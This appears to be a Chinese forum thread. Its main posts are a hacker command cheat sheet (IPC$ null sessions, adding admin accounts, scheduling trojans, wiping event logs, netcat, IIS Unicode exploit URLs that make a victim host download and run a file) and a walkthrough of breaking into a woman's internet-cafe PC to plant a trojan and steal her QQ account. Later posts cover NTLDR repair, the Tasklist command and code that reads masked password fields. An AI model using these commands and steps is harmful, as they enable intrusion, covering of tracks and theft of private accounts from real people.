网管和黑客都必须知道的命令
与远程主机建立空管连接 net use /IP地址ipc$ "" /use:""
以管理员身份登录远程主机 net use /IP地址ipc$ "密码" /use:"Administrator"
传送文件到远程主机WINNT目录下copy 本机目录路径程序 /IP地址admin$
查看远程主机时间 net time /IP地址
定时启动某个程序 at /IP地址 02:18 readme.exe
查看共享 net view /IP地址
查看netbios工作组列表 nBTstat -A IP地址
将远程主机C盘映射为自己的F盘 net use f: /IP地址c$ ""/user:"Administrator"
这两条把自己增加到管理员组： net user 用户名 密码 /add
net locaLGroup Administrators 用户名 /add
断开连接 net use /IP地址ipc$ /delete
扫尾：
del C:winntsystem32logfiles*.*
del C:winntssytem32config*.evt
del C:winntsystem32dTCLog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log
一、netsvc.exe
下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
netsvc /list /IP地址
netsvc schedule /IP地址 /query
netsvc /IP地址 schedule /start
二、OpenTelnet.exe
远程启动主机的Telnet服务，并绑定端口到7878，例如：
OpenTelnet /IP地址 用户名 密码 1 7878
然后就可以telnet到主机的7878端口，进入DOS方式下：
telnet IP地址 7878
三、winshell.exe
一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
p Path （查看winshell主程序的路径信息）
b reBoot （重新启动机器）
d shutDown （关闭机器）
s Shell （执行后你就会看到可爱的“C:>”）
x eXit （退出本次登录会话，此命令并不终止winshell的运行）
CMD> [url]http://.../srv.exe[/url] （通过http下载其他网站上的文件到运行winshell的机器上）
四、3389登陆器，GUI方式登录远程主机的
五、elsave.exe
事件日志清除工具
elsave -s /IP地址 -l "application" -C
elsave -s /IP地址 -l "system" -C
elsave -s /IP地址 -l "security" -C
执行后成功清除应用程序日志，系统日志，安全日志
六、hbulot.exe
开启win2kserver和winxp的3389服务
hbulot （/r）
七、nc.exe(netcat.exe)
一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
想要连接到某处: nc （-options） hostname port（s）（ports） ...
绑定端口等待连接: nc -l -p port （-options） （hostname） （port）
参数:
-e prog 程序重定向，一旦连接，就执行 （危险!）
-g gateway source-routing hop point（s）, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名
然后可以直接令文件运行：
http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具
idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接.
chy1203发表于 -5-4 17:05
一些黑客入侵时所经常用到的命令
现在网吧管理软件有很多，但大多有这样或那样的漏洞，于是就出现了很多破解网吧软件和网吧软件破解技巧，可以免费上网，可以使用“命令提示符”方式，可以使用管理员权限等等。于是网吧也成了虚拟财产丢失最严重的地方。但只要网吧管理员的水平足够还是能够避免这种情况发生的。告诉你我以前还在网吧是如何得到MMQQ号的技巧吧，有点复杂，主要是让你了解一些黑客入侵时所用到的命令。
第一步：先要确定MM所用电脑的IP，网吧电脑的编号和IP地址通常是相同或是高一位，比如网吧中编号为20的电脑，IP一般是192.168.0.20或192.168.0.21(192.168.0.1留给路由器)，不仅如此，机器名也有规律，20号电脑的机器名通常是Wangba20，这样只要知道了MM用的电脑，再进入到“命令提示符”，Ping Wangba20就可以得到IP地址，比如192.168.0.20。
第二步：有了IP，就可以开始连接上MM的电脑了，由于网吧内的电脑多使用没有打过补丁的Windows 2000，而且登录电脑的用户名也多是“user编号”的形式空密码形式，所以在“命令提示符”下输入net use //192.168.0.20/ipc$ "" /user：""及net use //192.168.0.20/ipc$ "" /user："user20"命令建立连接。
连接成功后，就要关闭对方电脑中的杀毒软件了，右击“我的电脑”，选择“管理”，在弹出窗口中右击“计算机管理(本地)”，选择“连接到另一台计算机”，连接至192.168.0.20，启动“Telnet”服务( “计算机管理”可以直接管理远程电脑)。
第三步：在“命令提示符”下输入两条命令在本机新建user20用户并将它添加到管理员组。
net user user20 /add
net localgroup administrators user20 /add
第四步：进入到C：＼Winnt＼System32，右击CMD.EXE，选择“创建快捷方式”，然后右击新建的快捷方式，选择“属性”，勾选“以其他用户身份运行”( 以其他用户身份运行程序)。运行快捷方式CMD，弹出“以其他用户身份运行”窗口后，输入“user20”回车。
第五步：用telnet 192.168.0.20登录至MM的电脑，再从网上下载一个命令行下杀进程的软件，如knlps等，在telnet上将杀毒软件的进程关闭。
第六步：现在就可以下载一个木马，用“copy 木马名.exe //192.168.0.20/admin$”的方法将木马复制到MM的电脑上。再用net time //192.168.0.20得到MM电脑的时间，比如是下午4点，最后用“at //192.168.0.20 时间 木马名.exe”，如“at //192.168.0.20 16：02 木马名.exe”命令在指定时间运行木马。
有了木马了，自然就能知道MM用的QQ号啦。
怎么样，网吧里面是不是很危险？不过你放心，并不是所有的网吧都这样，大部分网吧还是非常安全的，只要你在使用QQ或其他软件时，选择“网吧模式”就可以了(点击“高级设置”后出现“登录模式”选项)。
chy1203发表于 -5-4 17:06
NTLDR is missing 解决方案
今天优化了一下系统，删了一些东西，把以前的备份也删了（我要重新做一个备份，而磁盘空间又不够大，就冒了一次险）没想到重启的时候 出现了这个错误，现在解决了 和大家分享。
NTLDR文件是win nt/win200/WinXP/win的引导文件，当此文件丢失时启动系统会提示"NTLDR is missing... "并要求按任意键重新启动，不能正确进入系统 。所以应该在系统正常的时候给予备份。 NTLDR文件是做什么的？我们如何来修复NTLDR 文件类型的故障呢？
NTLDR文件的是一个隐藏的，只读的系统文件，位置在系统盘的根目录，用来装载操作系统。
一般情况系统的引导过程是这样的：
1、电源自检程序开始运行
2、主引导记录被装入内存，并且程序开始执行
3、活动分区的引导扇区被装入内存
4、NTLDR从引导扇区被装入并初始化
5、将处理器的实模式改为32位平滑内存模式
6、NTLDR开始运行适当的小文件系统驱动程序。小文件系统驱动程序是建立在NTLDR内部的，它能读FAT或NTFS。
7、NTLDR读boot.ini文件
8、NTLDR装载所选操作系统 *如果NT/XP被选择,，NTLDR运行 对于其他的操作系统，NTLDR装载并运行Bootsect.dos然后向它传递控制。windows NT过程结束。
搜索计算机硬件并将列表传送给NTLDR，以便将这些信息写进HKE Y_LOCAL_MACHINEHARDWARE中。
10.然后NTLDR装载Ntoskrnl.exe，Hal.dll和系统信息集合。
11.Ntldr搜索系统信息集合，并装载设备驱动配置以便设备在启动时开始工作12.Ntldr把控制权交给Ntoskrnl.exe，这时,启动程序结束,装载阶段开始
WindowsXP出现此故障的解决办法
当此文件丢失时，我们可以从安装光盘上进行提取，方法是：
1、进入系统故障恢复控制台。
2、转到C盘。
3、输入"copy X：/I386/NTLDR c:/"（说明：X为光驱盘符）并回车，如果系统提示要否覆盖则按下"Y"，之后输入exit命令退出控制台重新启动即可。
Windows server出现此故障的解决办法
1. 用Windows 的安装盘启动电脑，进入Windows Server的安装界面；
2. 界面提示“要修复Windows server的安装，请按R”，按R键继续；
3. 屏幕出现故障恢复控制台提示“C:/Winnt，要登录到哪个Windows 安装（要取消，请按Enter）？”，在此键入“1”，然后按Enter键；
4. 键入管理员密码，然后按Enter键；
5. 键入Copy H:/WIN/ENT/I386/Ntldr c:/，按ENTER键（注：我使 用的光盘是Windows 二合一光盘，如果是其他的安装盘，可以使用搜索命令查找一下ntldr文件的位置，一般在i386目录下。“h:”为 我的光盘驱动器号）,如果系统提示您是否覆盖文件，键入Y，然后按Enter键。
chy1203发表于 -5-4 17:07
必学Tasklist命令
在Windows XP中使用“Ctrl+Alt+Del”组合键，进入“Windows 任务管理器”，在“进程”选项卡中可以查看本机完整的进程列表，而且可以通过手工定制进程列表的方式获得更多 的进程信息，如会话ID、用户名等，但遗憾的是，我们查看不到这些进程到底提供了哪些系统服务。其实，在Windows XP中新增的一个命令行工具“Tasklist.exe”就能实现上面的功能。
Tasklist命令用来显示运行在本地或远程计算机上的所有进程，带有多个执行参数。使用格式：
Tasklist［/S system［/U username［/P［password]]]]［/M［module］| /SVC | /V］［/FI filter ［/FO format］［/NH］
参数含义：
/S ystem 指定连接到的远程系统。
/U［omain/］user 指定使用哪个用户执行这个命令。
/P［password］为指定的用户指定密码。
/M［module］列出调用指定的 DLL 模块的所有进程。如果没有指定模块名，显示每个进程加载的所有模块。
/SVC显示每个进程中的服务。
/V 显示详细信息。
/FIfilter显示一系列符合筛选器指定的进程。
/FOformat指定输出格式，有效值：TABLE、LIST、CSV。
/NH指定输出中不显示栏目标题。只对 TABLE和CSV格式有效。
下面我们来看看Tasklist命令的应用实例。
1.查看本机进程
在“命令提示符”中输入Tasklist命令即可显示本机的所有进程（图1）。本机的显示结果由5部分组成：图像名（进程名）、PID、会话名、会话#和内存使用。
图 1
2.查看远程系统的进程
在命令提示符下输入“Tasklist/s218.22.123.26 /u jtdd/p12345678”（不包括引号）即可查看到IP地址为218.22.123.26的远程系统的进程（图2）。其中/s参数后的“218.22.123.26”指要查看的远程系统的IP地址，/u后的“jtdd”指Tasklist命令使用的用户账号，它必须是远程系统上的一个合法账号，/p后“12345678”指jtdd账号的密码。
图 2
注意：使用Tasklist命令查看远程系统的进程时，需要远程机器的RPC 服务的支持，否则，该命令不能正常使用。
3.查看系统进程提供的服务
Tasklist命令不但可以查看系统进程，而且还可以查看每个进程提供的服务。如查看本机进程SVCHOST.EXE提供的服务，在命令提示符下输入“Tasklist/svc”命令即可（图3）。你会惊奇地发现，有4个SVCHOST.EXE进程，而总共有二十几项服务使用这个进程。
图 3
对于远程系统来说，查看系统服务也很简单，使用“Tasklist/s218.22.123.26/ujtdd/p12345678/svc”命令，就可以查看IP地址为218.22.123.26的远程系统进程所提供的服务。
4.查看调用DLL模块文件的进程列表
要查看本地系统中哪些进程调用了shell32.dll模块文件，只须在命令提示符下输入“Tasklist/mshell32.dll”即可显示这些进程的列表。
5.使用筛选器查找指定的进程
在命令提示符下输入“TASKLIST /FI ″USERNAME ne NT AUTHORITY/SYSTEM″ /FI ″STATUS eq running”，就可以列出系统中正在运行的非SYSTEM状态的所有进程。其中“/FI”为筛选器参数，“ne”和“eq”为关系运算符“不相等”和“相等”。
chy1203发表于 -5-4 17:08
黑客非法探取密码的原理及安全防范
一、非法获取Password的原理：
Edit控件是Windows的一个标准控件，当把其Password属性设为True时,就会将输入的内容屏蔽为星号，从而达到保护的目的。虽然我们看来都是星号，但程序中的Edit控件实际仍是用户输入的密码，应用程序可以获取该控件中的密码，其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性，当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时，则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息，这样Edit框中的内容就一目了然了。
二、黑客软件工作方法
首先要取得当前的窗口，并判断是否是Edit控件，一般多通过鼠标来指定要探测的窗口，例如在WM_MOUSEMOVE消息的响应函数中进行判断，现列举代码片段如下：
//将客户坐标转换成屏幕坐标
ClientToScreen(&point);
//返回一个包含指定屏幕坐标点的窗口
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//获取窗口句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//获取类名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判断是否是Edit控件
if (0 == pareNoCase("EDIT"))
{
//获取窗口风格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果设置了ES_PASSWORD属性
if (lStyle & ES_PASSWORD)
{
char szText[255];
//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中
m_strPassword = szText;
}
}
}
}
}
上述代码中值得注意的有以下几个关键地方：
ClientToScreen(&point);
CWnd* pWnd = CWnd::WindowFromPoint(point);
HWND hwndCurr = pWnd->GetSafeHwnd();
这三句代码可以获取当前鼠标位置所在窗口的窗口句柄，在SendMessage中要用到的。
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
这便是真正起作用的SendMessage了，其第一个参数指定了要接收消息的窗口句柄，我们已经通过上面的代码获取到了，第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了，并将得到的内容保存在szText中。
